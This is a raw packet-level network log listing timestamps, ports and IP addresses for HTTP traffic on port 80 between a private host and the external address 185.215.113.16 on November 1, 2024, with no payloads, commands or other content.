Nov 1, 2024 03:45:27.340725899 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340734959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340744972 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340754032 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.340756893 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340769053 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340779066 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340784073 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.340784073 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.340791941 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340802908 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340814114 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340814114 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.340826035 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340862989 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.340970039 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341011047 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.341038942 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341051102 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341064930 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341073036 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.341077089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341126919 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.341126919 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.341232061 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341243982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341255903 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341265917 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341275930 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341290951 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341293097 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.341310978 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341309071 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.341322899 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341381073 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.341424942 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.341567039 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341579914 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341590881 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341602087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341613054 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341624022 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341633081 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.341635942 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341648102 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341650963 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.341655970 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341669083 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341680050 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.341687918 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341702938 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.341722965 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.341881990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341892958 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341938972 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341949940 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.341955900 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.342005014 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342015028 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342041016 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.342071056 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.342133999 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342145920 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342154980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342166901 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342179060 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.342180014 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342190981 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342199087 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.342204094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342216015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342240095 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.342240095 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.342333078 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342344999 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342355013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342366934 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342377901 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342389107 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342406034 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.342473984 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342487097 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342498064 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342505932 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.342505932 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.342510939 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342560053 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.342639923 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342657089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342668056 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342679977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342689991 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342708111 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.342729092 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.342729092 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.342793941 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342807055 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342811108 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.342818975 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342830896 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342840910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.342866898 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.342978954 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.343913078 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.343913078 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.382514954 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.382524967 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.382535934 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.382565975 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.382592916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.382620096 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.382639885 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.382648945 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.382739067 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.409039021 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.409049034 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.409065008 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.409099102 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.409110069 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.409121037 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.409131050 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.409138918 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.409203053 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.409213066 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.409223080 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.409259081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.409271002 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.409295082 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.409331083 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.409334898 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.409343004 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.409353018 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.409403086 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.409403086 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.409430981 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.409442902 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.409531116 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.409708977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.409720898 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.409734011 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.409816980 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.410244942 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.410283089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.410295010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.410356998 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.410382032 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.410410881 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.410425901 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.410442114 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.410454035 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.410495043 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.410583019 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.410594940 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.410621881 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.410687923 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.410715103 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.410727024 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.410737038 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.410748005 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.410758018 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.410768032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.410801888 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.410834074 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.410890102 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.410909891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.410923004 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.410948992 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.411026001 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.411037922 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.411047935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.411061049 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.411063910 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.411072969 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.411106110 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.411143064 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.411145926 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.411231995 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.411245108 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.411254883 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.411263943 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.411288023 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.453833103 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.453855038 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.453865051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.453896046 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.453978062 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.453989983 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454113007 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.454113007 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.454181910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454219103 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454230070 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454298019 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454312086 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454315901 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.454323053 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454401016 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454412937 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454418898 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.454425097 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454458952 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.454535961 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454547882 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454557896 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454565048 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.454571962 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454605103 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.454634905 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454647064 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454657078 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454689980 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.454734087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454745054 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454755068 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454763889 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.454766989 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454778910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454780102 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.454859018 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.454859018 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.454891920 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454902887 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454912901 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454921961 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454982996 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.454999924 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455034971 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.455073118 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455084085 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455092907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455104113 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455116034 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455117941 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.455127954 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455138922 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.455176115 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.455176115 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.455209970 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455224037 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455234051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455363035 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455375910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455385923 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455398083 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.455401897 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455442905 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.455442905 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.455451965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455463886 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455522060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455532074 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455557108 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.455604076 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455615044 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455626011 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455637932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455648899 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455667019 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.455667019 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.455667019 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.455746889 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455758095 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455781937 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.455805063 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455818892 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455862999 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.455926895 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455939054 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455949068 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455960035 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.455972910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456001043 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.456001043 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.456072092 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456084013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456116915 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.456157923 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.456190109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456202030 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456212044 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456222057 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456232071 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456257105 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.456295013 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.456350088 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456363916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456371069 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.456377029 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456387043 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456398010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456408024 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456410885 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.456506014 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.456506014 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.456574917 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456585884 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456599951 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456610918 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456619978 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456629038 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456639051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456650972 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456655979 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.456660032 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.456660032 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.456662893 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456692934 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.456829071 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456840992 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456851959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456864119 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456887960 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.456943035 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456952095 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456962109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.456984043 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.456984043 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.457031012 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457042933 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457061052 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.457058907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457076073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457087040 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457096100 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457159042 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.457223892 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457237005 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457247019 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457257032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457261086 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.457293034 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.457365990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457376957 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457391024 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457417965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457432032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457442045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457453966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457456112 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.457488060 CET	49750	80	192.168.2.6	185.215.113.16
